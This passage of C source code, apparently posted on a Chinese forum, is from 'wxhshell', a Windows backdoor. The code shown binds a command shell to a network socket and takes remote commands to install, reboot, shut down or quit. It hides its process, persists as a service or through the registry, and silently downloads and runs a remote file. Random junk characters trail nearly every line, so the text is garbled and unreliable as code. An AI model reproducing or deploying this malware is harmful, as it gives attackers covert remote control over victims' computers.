      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9p> /?H|  
    break; KZK,w#9.  
  } {of]/ 3=  
  // 安装  0:dB 9  
  case 'i': { xYR#%!M  
    if(Install()) vbn>mg5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .k]#XoE  
    else z/vDgH!s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); org*z!;.   
    break; XZ:1!;  
    } 9oq)X[  
  // 卸载 5V|tXsy:  
  case 'r': { *j<@yG2\gP  
    if(Uninstall()) O: u%7V/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gNa#|  
    else hh&Js'd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &N{zkMf  
    break; [~?M/QI9  
    } ?0npEz|  
  // 显示 wxhshell 所在路径 )Z:m)k>r;  
  case 'p': { 9N}W(>  
    char svExeFile[MAX_PATH]; =QiT)9q)  
    strcpy(svExeFile,"\n\r"); l @A"U)A(  
      strcat(svExeFile,ExeFile); !3KPwI,  
        send(wsh,svExeFile,strlen(svExeFile),0); z^~U]S3  
    break; ALR:MAXwC  
    } .!j#3J..u  
  // 重启 j_pw^I$C  
  case 'b': { &HxT41pku  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WLy7'3@  
    if(Boot(REBOOT)) ^I./L)0= }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X RRJ)}P  
    else { >q&L/N5  
    closesocket(wsh); fm6]CU1^  
    ExitThread(0); l\U*sro<  
    } ;qT5faKB3J  
    break; Th+|*=Il  
    } hgj0tIi/  
  // 关机 T{~MiC6A  
  case 'd': { <`mOU} 0 )  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S&|VkZR)  
    if(Boot(SHUTDOWN)) L{K*~B-p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4JK@<GBK6  
    else { 2))t*9;h  
    closesocket(wsh); Nz @8  
    ExitThread(0); !pS~'E&q  
    } v|To+ P6b  
    break;  . X0t"  
    } K-<n`zg3  
  // 获取shell t;XS;b %  
  case 's': { g)N54WV  
    CmdShell(wsh); (lb`#TTGx  
    closesocket(wsh); &U0WkW   
    ExitThread(0); r1hD %a  
    break; ZE ^u.>5  
  } dAwS<5!  
  // 退出 eu=|t&FKk  
  case 'x': { q"p#H8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !pV<n  
    CloseIt(wsh); 1G_xP^H!  
    break; a}GAB@YI  
    } N  I3(  
  // 离开 ;<VR2U`  
  case 'q': { intvlki]be  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 67,3i~  
    closesocket(wsh); m^c%]5$  
    WSACleanup(); p1uN ]T7>  
    exit(1); = jBL'|k5  
    break; ~W/}:;  
        } AYYRxhv_,  
  } .^GFy   
  } <M`-`v6H  
"j +v,js  
  // 提示信息 Q+/R JM?3@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U!_sh<  
} 7~lB}$L  
  } Rgs3A)[`d/  
yvS^2+jW  
  return; &(WE]ziuO  
} ~"RQ!&U  
qY# m*R  
// shell模块句柄 e8 v; D  
int CmdShell(SOCKET sock) _=)!xnYf  
{ ;,FT&|3o  
STARTUPINFO si; O<Jwaap  
ZeroMemory(&si,sizeof(si)); i$g|?g~]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mf#2.TR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a'm!M:w  
PROCESS_INFORMATION ProcessInfo; @<VG8{  
char cmdline[]="cmd"; ltP   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DwTi_8m;  
  return 0; \v.HG] /u  
} _82<| NN:  
*j/ uihY  
// 自身启动模式 M44_us  
int StartFromService(void) ?TRW"%  
{ E]1\iV  
typedef struct $To 4dJb  
{ =tLU]  
  DWORD ExitStatus; %{=4Fa(Jux  
  DWORD PebBaseAddress; y}Ck zD  
  DWORD AffinityMask; i:\bqK  
  DWORD BasePriority; 6_pDe  
  ULONG UniqueProcessId; +|)zwe  
  ULONG InheritedFromUniqueProcessId; $/MY,:*e  
}   PROCESS_BASIC_INFORMATION; T27:"LVw  
K@y-)I2]  
PROCNTQSIP NtQueryInformationProcess; a\.//?  
@ 8A{ 9i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hu[8HzJo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r .{rNR  
$Gr4sh!cE  
  HANDLE             hProcess; }FuVY><l  
  PROCESS_BASIC_INFORMATION pbi; v4X_v!CQ  
_QD/!~O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;&/sj-xJ2  
  if(NULL == hInst ) return 0; [))gn  
aS3P(s L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &f$a1#O}dx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lF)0aDk'h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ojiM2QT}m  
1{= E ?  
  if (!NtQueryInformationProcess) return 0; ;D6x=v=2  
Vj#%B.#Zbf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &8R-C[A  
  if(!hProcess) return 0; o:p{^D@#k  
(D:KqGqoT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tzx:*  
Rs`Vr_?Hk  
  CloseHandle(hProcess); j*zB { s K  
sxf}Mmsk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ADuZ}]  
if(hProcess==NULL) return 0; *'kC8 ZR5  
@WMj^t1D+  
HMODULE hMod; rGQ86L<  
char procName[255]; 3 (Gygq#  
unsigned long cbNeeded; `[w}hFl~q  
2l]C55p)s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :-W$PIBe  
JDIz28Ww  
  CloseHandle(hProcess); VGq{y{(  
zS&7[:IRs'  
if(strstr(procName,"services")) return 1; // 以服务启动 H&"_}  
(or =f`  
  return 0; // 注册表启动 qpH j4  
} /&y,vkZTT  
]W89.><%14  
// 主模块 n=lggBRx  
int StartWxhshell(LPSTR lpCmdLine) >$d d 9|[  
{ (gs`=H*d;  
  SOCKET wsl; |DdW<IT`0  
BOOL val=TRUE; .&aVx]  
  int port=0; UHTb61Gs  
  struct sockaddr_in door; ~hxeD" w  
C.DoXE7  
  if(wscfg.ws_autoins) Install(); V>~*]N^f  
4nX'a*'D~}  
port=atoi(lpCmdLine); A- <.#  
WV9[DFU  
if(port<=0) port=wscfg.ws_port; t!+%g) @  
7$E2/@f  
  WSADATA data; @ y&h4^)z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q[T_*X3o  
EbHUGCMO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $D0)j(v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0B#rqTEKu  
  door.sin_family = AF_INET;  mP`,I"u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #t5JUi%in*  
  door.sin_port = htons(port); <"j"h=tm}  
_dH[STT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |\yDgs%EGy  
closesocket(wsl); 7z0;FW3>9  
return 1; gwkZk-f\p  
} S1 R #]  
?w|\ 7T.?  
  if(listen(wsl,2) == INVALID_SOCKET) { x<)!$cg  
closesocket(wsl); ?CL z@u~  
return 1; _&8KB1~  
}  )^QG-IM  
  Wxhshell(wsl); z^SN#v$  
  WSACleanup(); Au\ =ypK  
{d{WMq$  
return 0; kC,DW%Ls  
j$JV(fz  
} G5X|JTzpu<  
g/J^K*3]  
// 以NT服务方式启动 <3J=;.\6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d- _93  
{ 7ZR0M&pX  
DWORD   status = 0; rK0|9^i{  
  DWORD   specificError = 0xfffffff; J}93u(T5  
~h~r]tV*+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &El[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PhI{3B/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .5$V7t.t$\  
  serviceStatus.dwWin32ExitCode     = 0; Y }g6IK}  
  serviceStatus.dwServiceSpecificExitCode = 0; P89Dg/P  
  serviceStatus.dwCheckPoint       = 0; b_"V%<I  
  serviceStatus.dwWaitHint       = 0; |<5J  
~T{d9yNW1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UVvt&=+4  
  if (hServiceStatusHandle==0) return; _s=Pk[e  
ZS 7)(j$.  
status = GetLastError(); YpbdScz  
  if (status!=NO_ERROR) ,m_&eF  
{ &Funao>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,YzC)(-  
    serviceStatus.dwCheckPoint       = 0; :5qqu{GL  
    serviceStatus.dwWaitHint       = 0; e>s.mH6A  
    serviceStatus.dwWin32ExitCode     = status; ^AC+nko*  
    serviceStatus.dwServiceSpecificExitCode = specificError; NJz*N%VWD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WA)lk>(+  
    return; 2{Lc^6i(t  
  } LVz%$Cq,0  
}9fV[zO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kk>0XPk  
  serviceStatus.dwCheckPoint       = 0; ".7 KEnx  
  serviceStatus.dwWaitHint       = 0; DNTRLIKa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 34&$_0zn  
} '@1Qx~*]e  
9/^Bj  
// 处理NT服务事件,比如:启动、停止 [Nzg 8FP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K <fq=:I3  
{ ^9m^#"ZW`  
switch(fdwControl) [pyXX>:M  
{ j4hUPL7  
case SERVICE_CONTROL_STOP: ,_7tRkn  
  serviceStatus.dwWin32ExitCode = 0; r+WPQ`Ar  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [zO(V`S2  
  serviceStatus.dwCheckPoint   = 0; <\#  
  serviceStatus.dwWaitHint     = 0; ^SelqX  
  { 6!Ap;O^*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d+wNGN  
  } Z6HkQ=A64  
  return; . KSr@Gz  
case SERVICE_CONTROL_PAUSE: (\[!,T"[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EEnTq  
  break; S7~l%G>]b  
case SERVICE_CONTROL_CONTINUE: ^[,1+WS%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E`LIENm  
  break; 1=cfk#  
case SERVICE_CONTROL_INTERROGATE: ^a0 -5  
  break; gB'Ah-@,P  
}; OA5md9P;d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !t [%'!v  
} BsG[#4KM:  
KARQKFp!C>  
// 标准应用程序主函数 LZ<( :S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ur_"m+  
{ /Gu2@m[r  
)6S}O* 1  
// 获取操作系统版本 {;rpgc  
OsIsNt=GetOsVer(); Xf/<.5A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7|?@\ZE  
[,V92-s;N  
  // 从命令行安装 !wufoK  
  if(strpbrk(lpCmdLine,"iI")) Install(); "VOW V3Z  
'%/u103{e  
  // 下载执行文件 */m~m?  
if(wscfg.ws_downexe) { 2nz'/G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q,+*u%/u  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gt *<?  
} ,'0oj$~S:  
N`^W*>XB  
if(!OsIsNt) { KPvYq?F>4  
// 如果时win9x,隐藏进程并且设置为注册表启动 _1bd)L&dF  
HideProc(); m##z  
StartWxhshell(lpCmdLine); ^)K[1]"uM  
} /bj`%Q.n  
else C4K&flk]  
  if(StartFromService()) 9YsO+7[  
  // 以服务方式启动 |a~&E@0c  
  StartServiceCtrlDispatcher(DispatchTable); JqhVD@1{  
else a-A4xL.gm  
  // 普通方式启动 h]z|OhG  
  StartWxhshell(lpCmdLine); ,Onm!LI=  
SNV+.xN  
return 0; wtick~)  
}
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只看该作者 1 发表于: 2006-10-10
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